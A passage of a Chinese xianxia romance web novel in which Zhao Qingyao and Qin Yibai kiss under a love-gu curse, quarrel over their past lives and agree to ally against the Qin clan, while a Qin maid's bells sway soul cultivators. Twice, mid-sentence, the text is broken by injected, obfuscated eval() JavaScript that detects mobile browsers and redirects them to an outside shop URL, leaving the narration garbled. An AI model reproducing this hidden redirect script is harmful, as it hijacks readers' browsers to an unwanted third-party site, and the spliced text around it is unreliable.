等一下,她刚刚是主动亲了秦倚白吗? 被风吹散的神智缓慢地拼凑了起来。每拼成一份,赵轻遥的心便坠下去一分,直到坠无可坠的地步。 她麻木地看着秦倚白慢慢起身,将散落到一旁的发带卷到了手上,又捡起了她刚刚丢在他旁边的逢春剑。 他朝她走来,将逢春剑轻轻地放到了她的身侧。 “本命剑还是得收好,别被其他人给用了。”他声音沙哑地说道。 赵轻遥默不作声地收起剑,抬起头去看他。 在她记忆中的秦倚白,总是一副世家少主清隽尊贵的模样。至少她讨厌了他那么多年,也没见到他像如今这样狼狈的样子。 他的唇色有些发红。被剑气削去了一束的长发毫无规章地散下,落了一些在了尚带有勒痕的脖颈间,也落一些到被她扯开的衣领中。 她在看他,他也在看她。 他的表情和往常一样平静,在她眉骨处的伤上停留了片刻后,又很快移开。 “这个伤和你没有关系,不要多想。”一片尴尬的气氛中,赵轻遥试图岔开话题。 她一边说着,一边像是证明自己没事一样站了起来。 秦倚白依旧没有说话。 “你要是介意别的,那我也是为了救你,没有办法的才这么做,真的没有什么想占你便宜的想法。我救了你你还怪我,那就是你不识好人心了。” “你不用将这件事放在心上。虽然我们上辈子可能有过什么不该有的感情,但我们现在毕竟都忘记了。过去的就让它过去吧,也没人规定重生后不可以喜欢其他人。” 赵轻遥絮絮叨叨地说着,试图为自己的行为开脱。 其实按照她原本的计划,其实只需要骗过情蛊就行。在操纵情蛊时,心里疯狂默念秦倚白的名字,应该是可以的。 但那场莫名的架打乱了她所有的安排。打得她心气浮躁气血上涌,不知为何,就在冲动之下做出来那样的事情。 虽说可以说是为了救人,但这个在电火光石之间做出的决定还是让她心虚不已。说着说着,便又转过了视线不看他。 “这世上哪有怪恩人的道理?”良久,她才听见秦倚白淡淡地开口。 “我只是想和你说一件别的事情。” “你说吧。”赵轻遥松了一口气,重新转过了头,却猛然撞上一对她之前从未在秦倚白身上见过的眼神。 浓黑晦暗,似暗沉沉的黑夜垂下。一些不明情绪的漩涡滚涌着,仿佛要将她吸入另一个陌生的世界。 “情蛊不是这样用的。” 一个崭新的吻,随即跟着覆盖了上来。 42.情蛊(二) 眼前发生的一切都太过猝不及防,赵轻遥甚至有了一种自己还身处在回忆幻境中、无法控制肢体活动的错觉。 直到滚烫而柔软的触感从唇上传来之时,她才猛然惊醒,终于反应过来自己和秦倚白之间再次发生了什么。 这太荒谬了。 她几乎是下意识地想要出剑,却在发力的瞬间被人未卜先知地死死扣住了手腕。 下一刻,带着凉意的修长手指蛮不讲理地从她的指缝间钻入,紧紧与她十指相交。 另一只手随即跟上,牢牢地将她困在了身后的墙上。 磅礴纯净的灵气与沉顿混沌的魔气同时从那人的身上迸发开来,两种本该相斥的气息竟在此刻古怪地融合到了一起,拧成一股极其强大的威压,十分有经验地压下了她本该通身爆发的剑意。 似乎每一步,都预判到了她接下来的行动。 几经较量,赵轻遥极其不甘地败下阵来。双唇交接处,绵密持久的麻痹感开始缓缓地蔓延。停顿、流连,又轻微相离。 呼吸错乱间,她听到秦倚白极其短暂地轻叹了一声。 “师妹,别乱动了。” 谁是他师妹? 赵轻遥还没来得及张嘴反驳,下一个细碎的吻便又碾压了上来。 秦倚白完全散落的黑发随着他晃动的动作垂至她的颈间,刺得有些发痒。 清冽的山间草木芬芳和神像前袅袅的香火气息瞬间笼罩了下来,平静却不容反抗,掩盖住了原本环绕在两人周身剑拔弩张的明镜花香与血腥气。 这股气息是宁和的。但赵轻遥不知为何,却被这股宁和的气息搅得心气浮躁。 唇上被控制的温度很高,烫得仿佛要融化。 赵轻遥觉得自己应该保持清醒,但她的神智却仿佛被这些耐心的吻揉散了一般,完全不能控制,连带着心跳和呼吸也跟着紊乱了起来。 她不该这样的。 报复,这绝对是秦倚白对她刚刚所做出行为的蓄意报复! 这人和她一样重生了一趟,也算活第二辈子了,怎么变得比前世还要睚眦必报了? “够了!” 抓住了一个双唇轻微相离的时机,赵轻遥猛地将脸侧去了一旁,干涩开口:“不要再继续了,我们已经扯平了。” 就算是觉得她故意占了他的便宜,他心怀不满想要报复,也该有个限度才是。她刚刚也就只是轻轻贴了一会而已,哪有这么过分的? “你的脸是被谁伤成这样的?”手腕的桎梏缓缓地被人松开,唇上传来的麻痹感却久久未散。良久,她才听到秦倚白轻声问道。 少年的声音平静而冷淡,似不带半分情绪,又似含着一丝极其不易察觉的杀意和愠怒。 “我自己划的,说了和你没关系。”赵轻遥绷紧了下颚,试图将脸又往里转了转不去看他,却又被人捧着脸,硬生生地给掰了回来。 “让我再看一眼。”他说道。 “你又不是医修,看了又能做什么?”感受到秦倚白久久停留自己伤口上的目光,她眉头一拧,抬眼便朝他瞪去。 有风吹来,墙头檐角挂着的聚灵灯晃了一晃,将面前少年面无表情的面庞照得如玉雕般白得透亮,唯有唇色是一抹极不正常的榴红。 他望向赵轻遥的眸色本极深极黑,被灯光这样一照,竟似荡漾着一股危险又迷离的昳丽微光。 与他平日装模作样表演出的那副神仪明秀的温润模样相比,眼前的样子倒是多出几分如琉璃般勾魂夺魄的美丽来。 赵轻遥些微地晃了一下神。 只可惜,这样的惊艳并未持续几秒。因为下一秒,他就淡淡地抛出了两个字: “张嘴。” 这话十分耳熟,仿佛在哪里听到过。 水雾弥漫的密道、厚颜无耻的激将法、强行送入她口中的手指和鲜血、无法摆脱的拥抱。 不愿意再回想一遍的尴尬记忆骤然涌入了脑中。赵轻遥的脑中瞬间警铃大作,有了回忆幻境中的经验,她几乎是在顷刻间意识到了秦倚白想要做什么。 就这点伤,至于吗? 不过蕴满了神族之力的血液治愈能力确实强,既然秦倚白愿意送上门来,她也没有非要拒绝的道理。 只是这次她绝对不会让回忆中的那种事情发生。 “等一下等一下,不用麻烦你,这种小事我自己来就可以了。”赵轻遥没有丝毫犹豫,径直抓住了秦倚白的左手,往自己的唇边送去。 她温热的呼吸轻轻地洒在了那只手上。 那是一只属于少年人的手。干净修长、骨节分明,温度却还是很凉。指尖有常年习兵刃留下的薄茧,却也未见其他的伤口。 嗯? 怎么回事? 抓错手了? 她翻来覆去地看了几遍,没发现伤口,又去抓他的右手。 她的注意力全都集中在了他的手上。自然也没有注意到,她的呼吸喷洒下时,秦倚白本面无表情的神色有了些许轻微的晃动。 像是精心雕琢的神像陡然绽开了一丝裂痕。 他紧紧盯着她的每一个动作,眸光彻底地暗沉了下去。 秦倚白了解自己,他素来不是一个不擅长忍耐的人。 旁人见他,如见游龙仰首、翱翔九天。与生俱来尊贵的身份和绝佳天赋令人艳羡,也令人向往。 只有他自己清楚,当夜幕降临,褪去了那层金光璀璨的皮肤后,他不过是一条匍匐于草木间的毒蛇。将自己藏匿于阴暗潮湿的角落中,观察、等待、然后伺机而发。 他没有太多试错的机会。一次小小的失败,都有可能全局崩盘。 所以他得控制住他自己。 伪装,就得伪装得更像一些。他不介意等待,也不介意忍耐。 但赵轻遥就是那个唯一的变数。 他无法控制自己的行为,更无法控制自己对她说了什么、做了什么。前世也是这样,今生也是这样。 自从想起来前世的赵轻遥和黎明珠是一个人后,他已经做好了最坏的打算。 如果在他努力之后,赵轻遥还是什么都想不起来,还是那样恨他,他也不是不能压下他对她的那些心思。 她实在不愿意,他不会强求。 太阳本来就该挂在天上,未必就要留在谁的身边。 有人放出妄鬼,想害他在主家的面前入魔。但走火入魔和掩盖魔气对前世的他来说是家常便饭的事情。从第八峰出来后,他就已经想起了所有的应对方法。 这种程度的走火入魔,他只需要将神智最不清醒那段时间熬过去,就能自己解决。根本用不上别人来帮。 可赵轻遥不是一直很恨他吗?为什么会突然来救他? 他好不容易才将体内的情蛊压下,却又被她的一个吻唤了起来。 秦倚白想不明白。 他懂得忍耐,但不是什么圣人。没得到的时候他可以不奢望。但心中那份对赵轻遥的火被她亲手撩拨起来了之后,他决不会善罢甘休。 所以他反击了回去。 事情到了这里,其实已经可以结束了。 他们之前明明可以当做什么都没发生过,他可以压下心中的烈火,继续忍耐下去。 但在火焰熄灭前,赵轻遥又用呼吸把那簇火点了起来。 她抓住他手时的神情很坦然,可罪魁祸首又凭什么坦然? 秦倚白忍无忍可地闭上了双眼,又重新睁开。 身体中本已被控制住的魔气又有些翻滚上来的趋势,试图吞噬着他所剩不多的克制和理智。 他突然不想结束了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“对!是我脑子不清醒先亲的你,就算要操纵情蛊也不该用那样的方式占你便宜,我可以承认这是我的错。但你刚刚亲回来了之后,这件事情我们已经扯平了!” “你又来亲我一次是什么意思?” 秦倚白仍站在原地,神色晦暗不明望向她: “扯平了?” 他缓缓撩起自己如墨般的长发,拂过才被赵轻遥打过的半边脸颊,将其尽数拢至肩后。 脖颈上被勒出的红紫交错的痕迹随即露了出来。 衣领已在刚刚的混战中被赵轻遥尽数扯开,隐隐透出些许内里胸膛的轮廓来,倒映得那道红痕更为醒目。 “你当时没把这个算上。”他言简意赅地说道。 赵轻遥不敢置信地提高了些音量:“你能别那么小心眼吗,互殴造成的伤你也算到我头上?” 他体内流淌着修复能力那般强悍的血液。再晚点给她看,这伤怕是都好完了。 这也能拿来作为筹码之一? 眉骨上的伤已尽数愈合,但只要一想到这是秦倚白的血治好的,赵轻遥就又觉得在一跳一跳地发痒。她索性撤回了剑,用手捂住,继续骂去: “我就不该一时好心来救你,我就当了被狗咬了一口,你——” 她一撩衣袖,愤恨转头不想看他。仅剩的理智将她从愤怒的边缘拉了回来,若不是想到身上背着的那半个系统还需要他来解决,她现在真的想转身就走。 “你也想起来了什么是吗?”细微的脚步声从身后传来,秦倚白已经走到了她的面前,低下头来。 赵轻遥不作声,瞥了他一眼,又转开了视线。 聚灵灯柔和的光芒洒下,他的双唇上还未拭去的潋滟水色显得更为明显。只消一眼,便能让她心烦意乱。 “是啊,”她大声说道:“回忆里发生的事情我还没和你算账呢。我们俩今天就非得把这些事情一件一件掰扯清楚了才算完!” 全都扯平了最好。 43.坦白 “我到底是在你的回忆中对你做了什么,才会把你气成这样?”半响,秦倚白才慢慢地开口道。 他的确很好奇。 毕竟,在他能想起来的的记忆中,貌似也没做出什么特别出格的事情。 都不及今夜故意所做之事的一半。 他在此之前最多也只是在走火入魔的边缘徘徊。直到今夜方才知晓,所有的情绪与感受都会在体内魔气与灵气猛烈相撞的那一刻被无限地放大。 即便是已经走过了最危险的时候,那股余韵却依然残留在他的身体中。 包括回忆中的痛苦、对他人的愤怒和对某个人的执念。 赵轻遥在这个时候来招惹他,偏偏还操纵了他体内的情蛊,这无异于加重了其中的某份感受。 秦倚白从未觉得如此自己竟是一个如此危险的人。 夜风拂来,脖颈上和脸颊上传来的痛意更为明显。他完全有能力控制体内的血液去愈合伤口,但他偏不愿意。 赵轻遥在他身上留下的痛,让他觉得有些隐隐的兴奋。 他的理性告诉他这是一个可怕的想法。但或许是魔气已经侵袭了他的思维,他的感性无法控制自己不这样去想。 除了秦家给他和她带来的那些麻烦外,自己之前到底还做过什么能让她的情绪激动成这样的事情? 是他还没记起来的什么事情吗? 他非常迫切地想要知道。 “跟个变态一样跟踪我的行踪,查探我的身份。我受点伤又死不掉,关你什么事?还非得给我喂血,用激将法逼我开口,还……” 赵轻遥的指责本来势汹汹,但说着说着,她的声音却莫名其妙地逐渐小了下去。 她突然觉得有点不太对劲的地方。 在回忆幻境中经历那些过往时,的确感觉离谱。但现在回过头细细想来,秦倚白貌似也没做错什么。 他当时确实是帮了她。 偏见是一种根深蒂固的东西。对一个人怀有偏见时,先入为主,总是会觉得他要做什么坏事。 可能他在那时做错的唯一事情,就是不该和她有那么亲密的接触。 “你说的是你杀完郑玄后从密道里回来那次?”秦倚白叹了一口气,像是陷入了久远的回忆。不知为何,他的神情看上去竟有一丝失望。 这是什么意思? 觉得她在不识好歹大惊小怪? 赵轻遥有些不自然地捏紧了剑柄。她眼见着秦倚白的脸上慢慢浮现出若有所思的神情,仿佛自己又被重新带回了那段不太想回想第二遍的回忆中。 她突然觉得自己已经降下温来的脸又有些烫着上去了。 “……你敢说你没对我做什么吗?还和身受重伤头脑不清醒的我玩心机,故意诈我的话骗出我的身份。” 她将被风吹得有些凉的手覆在脸颊之上,似乎只有大声地说话,才能让自己冷静下来。 “就算秦家谋害炼心阁之事与你无关,但你夺我剑道魁首之名是坐实了的。说我伪装太多心术不正,明明自己才是那个最会装模作样的,我去杀个人你没事都要跑来多管闲事掺和一脚,还来诈我的身份。” “我好不容易重生,结果你还跟着我过来了。虚梦幻境内你害我天脉使用过度差点破裂;第八峰内又拿姜元的身份把我当猴耍;又骗我又下药地把我拖来了秦家,我本来想亲手手刃我的第一个仇人,结果还没动手就已经被你杀了。” “剑都架到你脖子上了,你在还说些什么自己上辈子喜欢过我的疯话。现在好了,我被卷入你们秦家这一堆烂摊子里,你满意了?” 赵轻遥不敢停下来,如连珠炮似地一件件说着。越说便觉得有些气恼,又有些憋屈。 好像她自重生以来,与秦倚白之间发生的桩桩件件事,都在他的控制之中。 她讨厌这种被人引导着上路的感觉。 更何况这人在她的印象中素来是她的死对头。 就算前世他们之间真有过什么禁忌的感情,但既然已经全部忘掉,对今生的赵轻遥来说,那也和重新来过没什么区别。 她不知是误解、是差错、还是如她设想那般蓄意的勾引。总之,这份看不见摸不着的感情横在她对秦倚白的纯粹讨厌之间,已成为了让她时刻感到憋屈的来源。 她不能再像之前那样纯粹地讨厌他,但她也没有办法劝说现在的自己喜欢他。 如果今夜的第一个和第二个吻她可以勉强算作是意外,可第三个吻的发生,总是需要一些理由的。 她不能再让这份看不见摸不着的感情继续下去。 “你是不是还在喜欢我?” “抱歉。” 两人几乎同时开口。 秦倚白突如其来的道歉让赵轻遥不禁愣了一愣,而她没有任何修饰的直白疑问也让秦倚白望向她的眸光幽深晦暗了起来。 气氛陡然陷入了极其诡异的沉默。 叮叮当当清脆铃声于夜空中突然响起,伴着些许轻微的鸟鸣声,打破了两人之间的沉默。 赵轻遥警惕地抬头望去,却又在抬眼的瞬间,被刺目的金光闪的皱了一下眉头。 天光已微微泛出些许的白色。一只巨大无比金凤拖着七彩的尾羽,于空中徐徐飞过。满身翠羽折射出的金光,竟比海平线尽头即将要出生的日光还要耀眼。 金凤的身后,紧紧跟着一辆极其宽敞豪奢的车驾。巨大无比的车轮上雕镂着朱红色的玄鸟样式,车身一动,四角飞檐下的金铃便叮咚作响。 鲛纱的一角被风掀开,香风弥漫,隐隐透出一个女子被众人环绕着的、斜倚在座上慵懒的侧影来。配上清脆曼妙的铃声,竟颇有让人不自觉亲近之感。 车驾后的旗帜张扬,描摹着青天木与溯荒神君佩剑的秦氏族徽舒展开来,在风中极其张扬。 好大的威风,一看就是秦氏主家的人。 叮当的铃声让赵轻遥晃神了一下,她刚想看一眼秦倚白,便被人径直拽到了一旁隐蔽的角落中。 废墟的阴影笼下,盖住了两人的身影。 一双微凉的手,随即覆上了她的耳朵。 “别听,那些铃铛声听多了,容易对铃铛的主人产生一些莫名的信赖感。”他在她耳侧轻声说话的声音变得极寒极冷,带着浓郁的戾气。与方才和她对话时的闲散语气判若两人。 赵轻遥本想要推开,却又在听到这话立即变得安静无比。 两人的呼吸隔得很近,秦倚白说完这话后。她几乎是眼见着秦倚白的神色一寸一寸地冷静了下来。 确实是冷静。 像是一朵逆向生长的花,在绽放到最盛的时候重新变成了枝头规规矩矩的骨朵,拒绝让别人窥见他内里的真容。 没有了被魔气环绕时的混沌、痛苦与疯魔,也失去了对她做出出格举动时的错乱美丽。他短暂地闭了闭双眼,再次睁开时,眼中浮现的已是极其克制的温和淡漠。 他在一瞬间重新戴上了人前的那副面具。 铃声渐歇,车驾似是在演武场那边落了下去。 秦倚白松开了手。 “主家的人来了。”他淡淡地说道。 赵轻遥默不作声地看着他接下来如行云流水般的动作。 被扯得乱七八糟的衣领被他规规矩矩地拢上,高高的马尾扎起,脖颈上和脸上的伤迅速愈合。他重新看向赵轻遥时,已是完全变成了他们重生后第一次相遇时那副霁月光风的少主模样。 也像极了拜入璇云仙宗后那副清润疏朗的师兄模样。 这人就是很会伪装。 “你刚刚向我道歉是因为什么?”她开口问道。 是因为重生前的事还是重生后的事?是因为隐瞒的谎言还是出格的吻? 她确实是很难摸透这个人真正的心思。上辈子是这样,这辈子也是这样。 “因为你说的都是实话,我没办法解释。”秦倚白承认得十分坦然。 …… 赵轻遥本以为他多少会狡辩两句,两个人会因此争吵起来。但她万万没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581737|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到,他会这样承认了。 这也太快了! “我记忆恢复的情况不比你好多少,当年璇云仙宗发生的事情我都忘了个干净,甚至连怎么入魔的都不记得。目前我能想起来的东西,都和你有关。除了当时在密道里发生的事情,也只有一些很零散的回忆。” 和一些没必要让她知道的从一开始就有的阴暗心思。 至于她问的那个问题…… “魔修容易被魔气控制情绪,再加上我体内的情蛊会让我对你产生一些别样的感情。” “对你做出的那些出格的发疯举动,我很抱歉。” 秦倚白轻叹一声,悠悠垂下了眼眸,看似极其无辜。 被魔气控制是一个很好的借口。现在不是一个坦白的好时机,他得对此有足够耐心。 以他对赵轻遥的了解,他再敢在此事上出格一次,她立马就会跑到他见也见不到的地方去。 “但就像你说的那样,这辈子和上辈子已经不同了,我会找到把情蛊取出来的办法。说不定我们之后都会喜欢上别人。” 在绞杀猎物前让猎物放松警惕,是他擅长之道。 “我猜,你应该是从小织或是海玉的口中知道了我过去发生的那些事情。秦家既然是我们共同的目标,那在此之前,我们或许能简单地合作一下呢?” 既然她已经想起来了一些事情,那他就更不可能放手了。 他平静地注视着赵轻遥的双眼,极其认真地说道。 这一番话听得太过冠冕堂皇,赵轻遥挑不出来毛病。 被魔气控制所以亲了她的理由,比是真的喜欢她所以亲了她的理由让她更容易接受些。 如果秦倚白是真的喜欢她喜欢到要死要活的地步的话,她肯定头也不回地转身就跑。 那就太惊悚一些了。 想到此处,赵轻遥于心中暗戳戳地松了一口气。 她才不像秦倚白那种又小心眼的人。这份道歉来得太在她的意料之外,倒是直接扑灭了她的一大半火气。 但她心里还是有那么一丝的不舒服。 她将手背轻轻地覆盖在嘴唇上,感受着已经凉下来的温度,却还是觉得心跳有些杂乱。 为什么现在还会乱,她也分不清楚。 所以她索性没有回答好,也没有回答不好,而且直接发问:“主家那边来的人是谁?” “我名义上的母亲,姜怀盈。” “你会被她带回去吗?”赵轻遥心中盘算着,有些犯嘀咕。 以她现在的本事,若是秦倚白真的被带回去,她可没办法救出来。 就只能说再见了。 秦倚白短暂地沉默了一下,神情古怪地开口道:“我倒也不是那么没本事的人。” 她为何要这样问? 在拿他和那个与她比剑都需要她收敛剑气的家伙相比较不成? “那我便先去演武场那边了。在这里待久了,图惹是非。”赵轻遥自然是没有多想的。听到他这般回答,便也放下了一颗心。 魔气既除,她也算完成和小织的约定了。 她先撤一步。就算是短暂的合作关系,也没必要啥都一起干。 传送阵的光芒再次亮了起来。 “赵轻遥。” 在光芒即将消散的最后一刻,她听到有人在叫她的名字,不由得抬头望去。 秦倚白站在原地看着她。他的脸隔着阵法的光,有些斑驳到模糊,看不清他究竟是什么神情。 “今夜的事情,但我还是得和你说一声抱歉。” “你不是已经道过歉了吗?为何要再说一遍。”赵轻遥奇怪地问道。 “不是这样的,我只是想到……”他似是悠悠地叹了一口气,本平静的声线中竟多了几分无辜之意。 “我依稀记得在前世的这个时间点上,你与洛明川的婚约,已经被双方长辈定得差不多了。” “但以我们现在的关系……你未婚夫要是知道了的话不会生气吧?” 44.暗潮 晨曦已至,天却依旧暗得吓人。 从地平线上冒出的阳光刚刚洒下一缕,便又被不知从哪里飘来的一大片灰黑色的浓云遮住。 赵轻遥直到传送阵落地时,还未从秦倚白最后一句话给她带来的混乱中缓过神来。 风声从她的耳边低低地擦过。她于比试场外暗处的树丛中缓缓蹲下,一想起那句话,便觉有些心烦意乱的浮躁。 他们现在是什么很见不得人的关系吗? 前世的两人之间发生的事情还未知全貌。她就算现在没那么讨厌秦倚白了,他们之间也顶多只能算…… 拥有同一个敌人的、不太熟的合作关系。 总不能因为各种原因莫名其妙地亲了几口,这个关系就变了吧。 她垂下眼眸,微微蜷起手指,再次沉默地抚上了自己的唇。 施展法阵时扬起的风已将原本炽热与麻痹交织的感受彻底地吹散了,但她却莫名有一种错觉,仿佛只要用手指贴近自己的唇,那种奇怪的触感就又会重新出现在了她的身上。 错觉产生的那一瞬间,她重新闻到了那股料峭春风吹过露水时的平静气息,以及魔气与灵气交杂后的明镜花香。 她本已被那两个吻气得郁结。但两人把话说开、秦倚白又和她道歉后,她也不觉得有那么生气了。 但不知为何,如今回味过来时,身体内竟重新涌上来的一股说不清道不明的情感。 不是讨厌,不是愤怒,更不是任何一种单一的感受。 这和她缺失的记忆有关吗?还是什么可怕的后遗症? 赵轻遥眨了眨眼,想不明白。 她更想不明白,秦倚白为何会突然提到洛明川。 洛明川这辈子都不可能再成为她的未婚夫了。她现在就算去和整个试仙峰的帅气男修都亲上一口,都跟这个人没半点关系。 等从试仙峰回去,和阿娘说一下她不喜欢洛明川了,这桩亲事便可从源头处掐断了。 更何况,她今夜与秦倚白之间的荒唐事,本就不会让除旁观的海玉和短暂沉睡的小织以外的人知道。 这人就算想要威胁她,也不选个好点的理由。 哪怕说要将此事告知她阿娘呢,她都能稍微地慌一下。 莫名其妙。 总之又像是在说疯话。 罢了,赵轻遥泄气一般想。 她才不是小气鬼,才不和那个被魔气侵袭得神志混乱的人计较。 不要再想这些事情了。 干脆换一身衣服,去去霉运。 赵轻遥做事素来说做便做。她抬手布下一下简易的隐蔽结界,对着自己满身的血迹施了一个清洁咒后,从芥子囊中随意抖出一身鹅黄色的衣裙,火速地换上了身。 还不忘重新编了编自己有些凌乱的头发。 换了衣服,便也觉得周身清爽了不少。 眉骨上的伤已经彻底愈合,连道疤都没有留下,光洁如新。她伸手摸了摸伤口原本所在之处,对着剑身仔细照了几圈,很是满意自己现在的模样。 至少不会把人吓到了。 若说完全不在乎自己的模样,那绝对是假的。她前世有整整十年用的都不是赵轻遥这张脸,差点分不清自己是谁。如今瞧见自己十五六岁时的漂亮模样,便觉得心中高兴。 她这一世才不要用其他的脸,一定要亲眼见到赵轻遥这张脸十八九岁的样子。 差不多该出去见人了。 赵轻遥满意地将逢春收回剑鞘,抖了抖自己换下来的衣物。正欲将其收回芥子囊中时,听到了一声极其轻微的细响。 啪哒一声,一颗圆润的锁妖珠从衣物中掉落,滚到了地上。 赵轻遥只瞥了一眼,刚刚扬起的笑容便僵硬在了脸上。 本已好转了的心情瞬间荡然无存。 她,她怎么把这件事给忘记了? 光顾着因为荒唐事和秦倚白吵架去了,秦氏本家的人又来得太过突然。让她还没来得及和秦倚白解释系统之事,便匆匆忙忙离开了。 这里面还关着半个系统等他吞噬呢! 但现在肯定是暂时不行了。 她捡起落于地上的锁妖珠,有点懊恼地擦了擦落在上面的灰尘,心情沉闷到了极点。 关着半边系统的锁妖珠在她的手中隐隐跳跃着发烫,像是一颗跃动的心脏。 也不知黎明珠的情况怎么样了。 不知为何,赵轻遥的脑海中竟鬼使神差地冒出了这个想法。 还有半个系统藏到了黎明珠的身体内,她现在还能用出万华之眼吗? * 偌大的比试场内,嘈杂之声不休。窃窃私语的说话声、急匆匆往来穿梭的脚步声、伤员低低的哀叫声混成了一片。 仅有的四个魂修脸上,都已露出了极其疲惫的色彩。 妄鬼数量太多,支撑防止妄鬼靠近的大阵已属不易。还得派出人手一一检查在场之人的魂魄是否已有被神不知鬼不觉地夺舍掉。 以操纵魂灵之术入道,对自身神识的消耗极大,本身就需要一定的机缘。这也是整个仙灵界中,魂修的数量并不算多的原因之一。 魂修本就稀少。来有兴趣来观剑道大会的,便更是少了。 四个人连轴转了一晚上。直到秦氏夫人姜怀盈带着另外几位魂修一同赶到时,才勉强松了一口气。 “夫人说,诸位竭尽所能应对这场无妄之灾,实在是辛苦了。我们秦家为诸位准备一些压惊的小小心意,还劳烦大家收下吧。” 明眸皓齿的侍女莲步轻移地走了过来。淡紫色的华贵锦裙之下,露出半截纤细的皓腕上系着一根坠满了着金铃的红绳。每动一步,铃铛便叮铃叮铃地响个不停,让人几乎移不开眼线。 她对着几个疲惫不堪的魂修聘聘婷婷地一福身,声音温柔得似是要滴出来水来。 话语刚落,魂修们的身前便凭空浮现了一枚大小恰好的丹药,散发着隐隐暗香气,落入每个人的手中。即便是在阴天,也能看清丹药轮廓上闪烁着的、独属于至尊宝物的七彩光芒。 一缕若有若无的血色雾气在丹体内流动着,仿佛赋予了丹药生命一般,将这枚丹药衬托得格外诱人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598760|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这,这是……极品生魂丹?” 站在最后的年轻魂修孟宇丰闻了闻气味,最先叫出声。意识到自己的失态后,他立即环顾左右,尴尬地低下了头去。 站在前面的三个魂修前辈比他沉得住气得多。眼中纵有疑惑,但在看到这份礼时,却还是不约而同地亮起了光来。 魂修与其他种类的修士不同之处很多。修行之路虽也和天脉的等级相关联,但更多的还是得看自身神识的强大程度。 迈入魂修之路后,神识便可按强大程度分为三阶,分别为凝气阶、脱凡阶和逍遥阶。 有些魂修天脉等级不高,但神识却足够强大,便也可轻松地碾压其他人。 仙灵界目前最强的阴阳魂修、仙盟麾下修订仙灵界法度的司天监监主花衡萝便是这样的人物。 凡人散修出身的顶级魂修。天脉只有区区四境,神识却已突破逍遥阶以上不知多少层。再穷凶恶极的世间恶鬼,最终也会化为她手中利刃的一部分。 如此强大的力量,哪个魂修不心向往之呢? 神识的阶数虽可努力提升,但实际做起来却难如登天。神识修行本为一场苦行,需要自身极致的努力、耐心和毅力。 在这种极端的条件下,能直接让神识变得更为强大的生魂丹便显得格外珍贵。 没有一个魂修能拒绝得了。 但生魂丹的制作所需要用到的材料珍贵无比,其价钱也自然是令人难以负担的。 对绝大多数魂修来说,极品生魂丹是只存在于传说中的东西。 而秦家这次竟一次性送出了四颗! “我们既有这个能力保护大家,又哪有临阵脱逃的道理。夫人送来的这份礼……太贵重了一些,我们实在是有些受之不安啊。” 几个魂修的眼光交汇了一下,最是年长的女修轻声开口。 她已在江湖间行走已有数十年,算得上一个小有名气的散修。如猎人一般对危险敏锐的直觉告诉她,与所做之事价值相差太多的宝物,是几乎不会出现的。 说出这话前,她还在坚定自己不会收下这颗极品生魂丹的想法。可在说出这话后,她却突然觉得头有些发懵。 秦家能给出这样的东西,难道不是很正常的一件事情吗?她为什么要怀疑? 铃铛声依旧在响个不停。 侍女抬袖掩嘴而笑,一举一动间极尽温柔可亲之姿: “这些妄鬼究竟是从哪里出来的,尚且还没有绝对的定论。秦家既为仙盟和世家之首,自然是有义务来管这些事的,诸位就请安心地收下吧。” “只是此极品丹罕见,服用之法与普通的生魂丹亦有所区别。诸位服下后,需将此丹在体内逸散出的真气引至神识所在的识海中,方算使用完成。” 她说的话句句诚恳,让人不自觉产生了极强的亲近之感。 “那,那我便不客气收下了。”孟宇丰急匆匆地率先出声。 刚刚也不知道那位前辈在开什么玩笑。这样好的东西,怎么能说不要就不要呢。 等他休整一下,等会就去服用。 45.水氏 “泽霄兄,秦家送出去的真的是极品生魂丹?这未免也太……” 比试场的底部人声喧哗得厉害,但只消再往高处走一走,停留的人没有那么多,便也安静了不少。 写着“试仙峰”三个金光灿灿大字的巨石一侧,白衣青年眺望着比试场底部熙攘的人流,皱着眉头,极其惊讶地开口。 他话音刚落,一旁持剑的红衣少女便立刻走上前来,没好气地拍了拍他的肩膀: “哥,秦家的张扬豪奢之风,你我又不是第一天才知道,又何必这样大惊小怪?他们不仅出手豪迈,就连特权也多。你刚刚是没见到他们家夫人带着乌泱泱一群人上来时的样子。” “怎么说?” “这试仙峰周身被结界包裹,人人上这试仙峰来,都不可用任何传送术法和飞行法器,得先过一道虚梦幻境的槛以表对上古神们的尊敬。他们可倒好,带着人乘着破界云舟便径直上来了,什么玩……” “南瑛。” 身侧如潺潺流水般的铮淙琴声骤然停下,被点到名字的红衣少女即刻噤声。 坐在两人正前方抚琴的蓝衣青年缓缓转过身来,目光平视着这对和他一起长大的兄妹。 青年年岁弱冠出头,姿容英俊秀朗。最令人瞩目的,还是他与旁人不同的发色和瞳色。 惊艳二字,已不足以用来形容这种美到极致的颜色。 一只碧玉发冠簪在头顶,余下银发流淌如雪瀑,蜿蜒流淌在他肩头。微微上挑的桃花眼是极为清魅的绛紫色,顾盼之间熠熠生辉。 